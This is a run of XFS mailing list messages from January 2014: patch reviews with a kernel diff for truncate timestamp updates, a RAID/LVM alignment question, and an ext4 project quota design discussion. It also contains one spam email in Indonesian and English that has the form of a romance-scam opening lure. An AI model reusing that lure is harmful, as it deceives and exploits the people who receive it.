Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig <hch@infradead.org> CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: ensure correct timestamp updates from truncate References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> <52E8FE81.7040402@redhat.com> <20140130080652.GA23758@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: ensure correct timestamp updates from truncate In-Reply-To: <20140130080652.GA23758@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391070818 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144635 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/30 2014 16:06 PM, Christoph Hellwig wrote: > The VFS doesn't set the proper ATTR_CTIME and ATTR_MTIME values for truncate, > so filesystems have to manually add them. The introduction of > xfs_setattr_time accidentally broke this special case an caused a > regression in generic/313. Fix this by removing the local mask variable > in xfs_setattr_size so that we only have a single place to keep the > attribute information. > > Signed-off-by: Christoph Hellwig <hch@lst.de> > Reported-by: Fengguang Wu <fengguang.wu@intel.com> Reviewed-by: Jie Liu <jeff.liu@oracle.com> Thanks, -Jeff From goodnessfaldon@live.com Thu Jan 30 03:19:04 2014 Return-Path: <goodnessfaldon@live.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0107D7F60 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 03:19:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DEA968F806F for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 01:19:00 -0800 (PST) X-ASG-Debug-ID: 1391073533-04cb6c6de019550001-NocioJ Received: from dub0-omc2-s10.dub0.hotmail.com (dub0-omc2-s10.dub0.hotmail.com [157.55.1.149]) by cuda.sgi.com with ESMTP id BUQNl2oL4UfZATD0; Thu, 30 Jan 2014 01:18:53 -0800 (PST) X-Barracuda-Envelope-From: goodnessfaldon@live.com X-Barracuda-Apparent-Source-IP: 157.55.1.149 Received: from DUB126-W61 ([157.55.1.138]) by dub0-omc2-s10.dub0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Thu, 30 Jan 2014 01:18:52 -0800 X-TMN: [9aiSpj/Fa/m5l1/5rXsFEiEID3Y3h/6Z] X-Originating-Email: [goodnessfaldon@live.com] Message-ID: <DUB126-W6159DF03D12E5FC1C17508A5AF0@phx.gbl> Content-Type: multipart/alternative; boundary="_649e223b-3768-4f40-9508-68a6a5fe9594_" From: goodness fald <goodnessfaldon@live.com> Subject: Hello sayangku. Date: Thu, 30 Jan 2014 09:18:52 +0000 X-ASG-Orig-Subj: Hello sayangku. Importance: Normal MIME-Version: 1.0 X-OriginalArrivalTime: 30 Jan 2014 09:18:52.0782 (UTC) FILETIME=[4B05F8E0:01CF1D9C] X-Barracuda-Connect: dub0-omc2-s10.dub0.hotmail.com[157.55.1.149] X-Barracuda-Start-Time: 1391073533 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144637 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; --_649e223b-3768-4f40-9508-68a6a5fe9594_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello sayangku. Saya berharap bahwa Anda baik-baik saja di sana =0A= hari ini? . Aku melihat email Anda pada jaringan sosial dan saya ingin =0A= menjadi teman Anda. Status Anda=2C negara=2C warna kulit=2C usia=2C bahasa= =2C =0A= suku=2C agama=2C dll=2C tidak akan menghalangi kita untuk menjadi teman kar= ena=0A= saya mencari persahabatan Anda dari hati saya yang murni. Aku =0A= benar-benar ingin kita menjadi teman baik. Harap saya akan seperti Anda =0A= untuk menghubungi saya di email saya di atas untuk memudahkan =0A= komunikasi. Segera setelah saya mendengar dari Anda saya akan =0A= memberitahu Anda tentang diri saya dan mengirimkan gambar saya. Sampai saya mendengar dari Anda=2C tetap diberkati. Ceria=2C Lewatkan Goodness . =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D Hello my dear . I=0A= hope that you are doing fine over there today ? . I saw your email on =0A= the social network and i want to be your friend . Your status =2C country = =2C=0A= colour =2C age =2C language =2C tribe =2C religion =2C etc =2C will not pr= event us =0A= to be friends as i seek for your friendship from my pure heart .=20 I=0A= really want us to be good friends . Please i will like you to reach me =0A= on my email above for easy communication . As soon as i hear from you i =0A= will tell you about myself and send you my pictures .=20 Till i hear from you =2C remain blessed . Cheers =2C Miss Goodness . = --_649e223b-3768-4f40-9508-68a6a5fe9594_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <html> <head> <style><!-- .hmmessage P { margin:0px=3B padding:0px } body.hmmessage { font-size: 12pt=3B font-family:Calibri } --></style></head> <body class=3D'hmmessage'><div dir=3D'ltr'><b>Hello sayangku.<br>Saya berha= rap bahwa Anda baik-baik saja di sana =0A= hari ini? . Aku melihat email Anda pada jaringan sosial dan saya ingin =0A= menjadi teman Anda. Status Anda=2C negara=2C warna kulit=2C usia=2C bahasa= =2C =0A= suku=2C agama=2C dll=2C tidak akan menghalangi kita untuk menjadi teman kar= ena=0A= saya mencari persahabatan Anda dari hati saya yang murni.<br><br>Aku =0A= benar-benar ingin kita menjadi teman baik. Harap saya akan seperti Anda =0A= untuk menghubungi saya di email saya di atas untuk memudahkan =0A= komunikasi. Segera setelah saya mendengar dari Anda saya akan =0A= memberitahu Anda tentang diri saya dan mengirimkan gambar saya.<br>Sampai s= aya mendengar dari Anda=2C tetap diberkati.<br>Ceria=2C<br>Lewatkan Goodnes= s .<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br>Hello my dear .<br>I=0A= hope that you are doing fine over there today ? . I saw your email on =0A= the social network and i want to be your friend . Your status =2C country = =2C=0A= colour =2C age =2C language =2C tribe =2C religion =2C etc =2C will not pr= event us =0A= to be friends as i seek for your friendship from my pure heart . <br><br>I= =0A= really want us to be good friends . Please i will like you to reach me =0A= on my email above for easy communication . As soon as i hear from you i =0A= will tell you about myself and send you my pictures . <br>Till i hear from = you =2C remain blessed .<br>Cheers =2C<br>Miss Goodness .</b> </= div></body> </html>= --_649e223b-3768-4f40-9508-68a6a5fe9594_-- From bfoster@redhat.com Thu Jan 30 07:57:43 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 480B27F51 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 07:57:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 13BA18F8078 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 05:57:39 -0800 (PST) X-ASG-Debug-ID: 1391090258-04bdf01220269c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Jh3ssRJJG5CUGycn for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 05:57:39 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0UDvcuV013251 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 08:57:38 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0UDvbaW027971 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 08:57:38 -0500 Message-ID: <52EA5A51.9050100@redhat.com> Date: Thu, 30 Jan 2014 08:57:37 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: ensure correct timestamp updates from truncate References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> <52E8FE81.7040402@redhat.com> <20140130080652.GA23758@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: ensure correct timestamp updates from truncate In-Reply-To: <20140130080652.GA23758@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391090258 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/30/2014 03:06 AM, Christoph Hellwig wrote: > The VFS doesn't set the proper ATTR_CTIME and ATTR_MTIME values for truncate, > so filesystems have to manually add them. The introduction of > xfs_setattr_time accidentally broke this special case an caused a > regression in generic/313. Fix this by removing the local mask variable > in xfs_setattr_size so that we only have a single place to keep the > attribute information. > > Signed-off-by: Christoph Hellwig <hch@lst.de> > Reported-by: Fengguang Wu <fengguang.wu@intel.com> > Thanks Christoph! Reviewed-by: Brian Foster <bfoster@redhat.com> > diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c > index 0ce1d75..ce966c5 100644 > --- a/fs/xfs/xfs_iops.c > +++ b/fs/xfs/xfs_iops.c > @@ -714,7 +714,6 @@ xfs_setattr_size( > { > struct xfs_mount *mp = ip->i_mount; > struct inode *inode = VFS_I(ip); > - int mask = iattr->ia_valid; > xfs_off_t oldsize, newsize; > struct xfs_trans *tp; > int error; > @@ -735,8 +734,8 @@ xfs_setattr_size( > > ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); > ASSERT(S_ISREG(ip->i_d.di_mode)); > - ASSERT((mask & (ATTR_UID|ATTR_GID|ATTR_ATIME|ATTR_ATIME_SET| > - ATTR_MTIME_SET|ATTR_KILL_PRIV|ATTR_TIMES_SET)) == 0); > + ASSERT((iattr->ia_valid & (ATTR_UID|ATTR_GID|ATTR_ATIME|ATTR_ATIME_SET| > + ATTR_MTIME_SET|ATTR_KILL_PRIV|ATTR_TIMES_SET)) == 0); > > oldsize = inode->i_size; > newsize = iattr->ia_size; > @@ -745,7 +744,7 @@ xfs_setattr_size( > * Short circuit the truncate case for zero length files. > */ > if (newsize == 0 && oldsize == 0 && ip->i_d.di_nextents == 0) { > - if (!(mask & (ATTR_CTIME|ATTR_MTIME))) > + if (!(iattr->ia_valid & (ATTR_CTIME|ATTR_MTIME))) > return 0; > > /* > @@ -833,10 +832,11 @@ xfs_setattr_size( > * these flags set. For all other operations the VFS set these flags > * explicitly if it wants a timestamp update. > */ > - if (newsize != oldsize && (!(mask & (ATTR_CTIME | ATTR_MTIME)))) { > + if (newsize != oldsize && > + !(iattr->ia_valid & (ATTR_CTIME | ATTR_MTIME))) { > iattr->ia_ctime = iattr->ia_mtime = > current_fs_time(inode->i_sb); > - mask |= ATTR_CTIME | ATTR_MTIME; > + iattr->ia_valid |= ATTR_CTIME | ATTR_MTIME; > } > > /* > @@ -872,9 +872,9 @@ xfs_setattr_size( > xfs_inode_clear_eofblocks_tag(ip); > } > > - if (mask & ATTR_MODE) > + if (iattr->ia_valid & ATTR_MODE) > xfs_setattr_mode(ip, iattr); > - if (mask & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) > + if (iattr->ia_valid & (ATTR_ATIME|ATTR_CTIME|ATTR_MTIME)) > xfs_setattr_time(ip, iattr); > > xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From chamill@wesleyan.edu Thu Jan 30 08:28:50 2014 Return-Path: <chamill@wesleyan.edu> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 511B77F60 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 08:28:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1E4E98F8087 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 06:28:50 -0800 (PST) X-ASG-Debug-ID: 1391092128-04cb6c6de222d10001-NocioJ Received: from internal-smtp3.wesleyan.edu (internal-smtp3.wesleyan.edu [129.133.6.182]) by cuda.sgi.com with ESMTP id LDjA3eO9sleCcYfH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 06:28:48 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.182 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s0UESjNB014426 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Thu, 30 Jan 2014 09:28:45 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1391092125; bh=3ts0z8DuF3z47Zi3G8uWWI683jHxvNyul1pubiTS7N8=; h=From:To:Cc:In-reply-to:Subject:References:Date; b=EEEXZLn+M2bvyseYE5z1b1S7gL3dm2EM//UtRrOlkBLxZ10R5fgjGAzupJPDK/9FA xdJL8sqceqpv3z6DcH2HdWKE/Dz82ZkscJIw64nAcI9ppxU1dMLYDAFX1cLqSPfmpQ cx4RSlZdl6HoAX4rwczWhpAAC9guzC2D4AUEXp3M= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" <chamill@wesleyan.edu> To: stan <stan@hardwarefreak.com> Cc: xfs <xfs@oss.sgi.com> In-reply-to: <52E99504.4030902@hardwarefreak.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. Date: Thu, 30 Jan 2014 09:28:45 -0500 Message-Id: <1391090527-sup-4664@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s0UESjNB014426 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp3.wesleyan.edu[129.133.6.182] X-Barracuda-Start-Time: 1391092128 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144643 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature First, thanks very much for your help. We're weening ourselves off unnecessarily expensive storage and as such I unfortunately haven't had as much experience with physical filesystems as I'd like. I am also unfamiliar with XFS. I appreciate the help immensely. Excerpts from Stan Hoeppner's message of 2014-01-29 18:55:48 -0500: > This is not correct. You must align to either the outer stripe or the > inner stripe when using a nested array. In this case it appears your > inner stripe is RAID6 su 128KB * sw 12 = 1536KB. You did not state your > outer RAID0 stripe geometry. Which one you align to depends entirely on > your workload. Ahh this makes sense; it had occurred to me that something like this might be the case. I'm not exactly sure what you mean by inner and outer; I can imagine it going both ways. Just to clarify, it looks like this: XFS | XFS | XFS | XFS --------------------------------------------------------- LVM volume group --------------------------------------------------------- RAID 0 --------------------------------------------------------- RAID 6 (14 disks) | RAID 6 (14 disks) | RAID 6 (14 disks) --------------------------------------------------------- 42 4TB SAS disks ...more or less. I agree that it's quite weird, but I'll describe the workload and the constraints. We're using commercial backup software to provide backup needs for the University I work at (CrashPlan Pro enterprisey whathaveyou server). We've got perhaps 1200 or so user desktops and 1 few hundred servers on top of that, all of which currently adds up to just under 100TB on our old backup system which we're moving from (IBM Tivoli). So this archive will be our primary store for on-site backups. CrashPlan is more or less continually transferring some amount of data from clients to itself, which it does all at once in a bundle after determining what's changed. It ends up storing archives on disk as files which look to max out at 4GB each before it opens up the next one. Writes are probably more important than reads, as restores are relatively infrequent, so I'd like to optimize for writes. I expect the bottleneck to be IO as the campus is predominantly 1Gbps throughout and will become 10Gbps is the not-that-distant future, most likely. I can virtually guarantee CPU will not be the bottleneck. Now, here's the constraints, which is why I was planning on setting things up as above: - This is a budget job, so sane things like RAID 10 are our. RAID 6 or 60 are (as far as I can tell, correct me if I'm wrong) our only real options here, as anything else either sacrifices too much storage or is too susceptible failure from UREs. - I need to expose, in the end, three-ish (two or four would be OK) filesystems to the backup software, which should come fairly close to minimizing the effects of the archive maintenance jobs (integrity checks, mostly). CrashPlan will spawn 2 jobs per store point, so a max of 8 at any given time should be a nice balance between under-utilizing and saturating the IO. So I had thought LVM over RAID 60 would make sense because it would give me the option of leaving a bit of disk unallocated and being able to tweak filesystem sizes a bit as time goes on. Now that I think of it though, perhaps something like 2 or 3 RAID6 volumes would make more sense, with XFS directly on top of them. In that case I have to balance number of volumes against the loss of 2 parity disks, however. I'm not sure how best to proceed; any advice would be invaluable. -- Morgan Hamill From bpm@sgi.com Thu Jan 30 09:47:05 2014 Return-Path: <bpm@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 02A9D7F58 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 09:47:05 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id BB4158F8092; Thu, 30 Jan 2014 07:47:01 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9FF664266DC; Thu, 30 Jan 2014 09:47:01 -0600 (CST) Date: Thu, 30 Jan 2014 09:47:01 -0600 From: Ben Myers <bpm@sgi.com> To: Christoph Hellwig <hch@infradead.org> Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: ensure correct timestamp updates from truncate Message-ID: <20140130154701.GP1935@sgi.com> References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> <52E8FE81.7040402@redhat.com> <20140130080652.GA23758@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140130080652.GA23758@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Jan 30, 2014 at 12:06:52AM -0800, Christoph Hellwig wrote: > The VFS doesn't set the proper ATTR_CTIME and ATTR_MTIME values for truncate, > so filesystems have to manually add them. The introduction of > xfs_setattr_time accidentally broke this special case an caused a > regression in generic/313. Fix this by removing the local mask variable > in xfs_setattr_size so that we only have a single place to keep the > attribute information. > > Signed-off-by: Christoph Hellwig <hch@lst.de> > Reported-by: Fengguang Wu <fengguang.wu@intel.com> That is v3.13-rc2-14-gc91c46c, so I believe we'll want to Cc: stable on this one. Correct? From adilger@dilger.ca Thu Jan 30 12:57:20 2014 Return-Path: <adilger@dilger.ca> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A269C7F57 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:57:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 88D92304064 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 10:57:20 -0800 (PST) X-ASG-Debug-ID: 1391108235-04cbb00c2831a20001-NocioJ Received: from mail-pb0-f50.google.com (mail-pb0-f50.google.com [209.85.160.50]) by cuda.sgi.com with ESMTP id TIda2vMPtGxVuzdP (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 10:57:16 -0800 (PST) X-Barracuda-Envelope-From: adilger@dilger.ca X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.50 Received: by mail-pb0-f50.google.com with SMTP id rq2so3471849pbb.37 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 10:57:15 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=PtrTJKhdaqpjQB/Ibfd+UYGML6inD+R0aKeYGcXoMiQ=; b=m2YDPVwPhBYIXXWGmkz0Tl+nVa+N5nOg4Uo6YLZF98mmXfV5CwihXUiLIEkRMiwlVy nVoQXrXfK5VCp0UTLnwK0kxhQtAPJAPhchkHUoTR+DQhqM/O1dCKVLbr/jPHoI1aWzuJ dZKKL2BiZUDpHHlyr/qZa4/3pChXqGrMz0L/sQtNRMK+2swsmGJkStsfdHabGNP0pdYY vJ+nI5zH1Jj1FUkarhDuXkHg0yE2sX1t891ESd3KQw0BZ5wnMUz56gqwdeZr2NQu5sQc ZZyAO5f02GMSIA8v+fvGMYlqxJ1tiCgNFhOPh4x83X6ZNTF9NZPxo6e4eq41IG1pTHcn 99Dw== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQm3XJxIb7gv9GwMpRocsrr7HyOT4FIKXDbL1DgLxWf7cxeYg6dfelq1glprDrAFqXRJarw/ X-Received: by 10.68.234.230 with SMTP id uh6mr16132491pbc.161.1391108235603; Thu, 30 Jan 2014 10:57:15 -0800 (PST) Received: from cabot-wlan.adilger.int (S0106002191d9348b.cg.shawcable.net. [96.51.76.157]) by mx.google.com with ESMTPSA id zc5sm19891568pbc.41.2014.01.30.10.57.13 for <multiple recipients> (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 30 Jan 2014 10:57:14 -0800 (PST) Content-Type: multipart/signed; boundary="Apple-Mail=_7F6A7B36-3439-4BCC-9079-838BC4EF6EB0"; protocol="application/pgp-signature"; micalg=pgp-sha1 X-Barracuda-Apparent-Source-IP: 96.51.76.157 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: [RFC] A draft for making ext4 support project quota From: Andreas Dilger <adilger@dilger.ca> X-ASG-Orig-Subj: Re: [RFC] A draft for making ext4 support project quota In-Reply-To: <20140129034824.GA12757@gmail.com> Date: Thu, 30 Jan 2014 11:57:10 -0700 Cc: Jan Kara <jack@suse.cz>, linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, Theodore Ts'o <tytso@mit.edu>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> Message-Id: <A5AD0D66-C4F5-4177-9F87-E3BC59B348B8@dilger.ca> References: <20140128064248.GA8653@gmail.com> <20140128143514.GB13676@quack.suse.cz> <20140129034824.GA12757@gmail.com> To: Zheng Liu <gnehzuil.liu@gmail.com> X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: mail-pb0-f50.google.com[209.85.160.50] X-Barracuda-Start-Time: 1391108236 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144650 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 --Apple-Mail=_7F6A7B36-3439-4BCC-9079-838BC4EF6EB0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On Jan 28, 2014, at 8:48 PM, Zheng Liu <gnehzuil.liu@gmail.com> wrote: > On Tue, Jan 28, 2014 at 03:35:14PM +0100, Jan Kara wrote: >> On Tue 28-01-14 14:42:49, Zheng Liu wrote: >>> For project quota, the key issue is how to handle link(2)/rename(2). = We >>> summarize the behaviour in xfs as following. >>>=20 >>> *Note* >>> + unaccounted dir >>> x accounted dir >>>=20 >>> link(2) >>> ------- >>> + x >>> + ok error (EXDEV) >>> x ok error (EXDEV) Presumably this accounted-to-accounted link() is only an error if it is between directories of two different projects? >>> rename(2) >>> --------- >>> + x >>> + ok ok >>> x wrong ok >>=20 >> So moving unaccounted file/dir into an accounted dir would be OK? = How is >> that? >=20 > Actually xfs will return EXDEV error when we try to move unaccounted > file/dir into an accounted dir. Then userspace tools (e.g. mv(1)) = will > use create(2)/read(2)/write(2) syscalls to create these files/dirs = from > scratch, and get the same id from their parent. Why wouldn't renaming an unaccounted file into an accounted directory just be implemented by doing the equivalent of chown() to change the project ID and setting the quota? That could avoid a HUGE amount of data copying for large files. > So from the result we can see it is ok. Quote from Dave Chinner's > comment: "that quota is accounted for when moving *into* an accounted > directory tree, not when moving out of a directory tree." Sure, but IMHO returning -EXDEV in this case is a bit of a hack, and increases the overhead of doing a rename within the filesystem a lot. >>> Further, project quota *cannot* be used with group quota at the same = time. >>> On the other hand user quota and project quota can be used = simultaneously. >> There's no fundamental reason for this and XFS folks actually = recently >> worked to remove this limitation. I don't think we should carry it = over to >> ext4. >=20 > Thanks for pointing it out. >=20 >>=20 >>> 2. = http://xfs.org/index.php/XFS_FAQ#Q:_Quota:_What.27s_project_quota.3F >>>=20 >>> Design >>> =3D=3D=3D=3D=3D=3D >>>=20 >>> Project id >>> ---------- >>> We have two options to store project id in inode. a) define a new = member >>> in ext4_inode structure; b) store project id in xattr. >>>=20 >>> Option a) >>> Pros: >>> * Only need 4 bytes if we use a '__le32' type to store it >>>=20 >>> Cons: >>> * Needs to change disk layout of ext4 inode >>>=20 >>> Option b) >>> Pros: >>> * Don't need to change disk layout >>>=20 >>> Cons: >>> * Take 24 bytes >> Cons 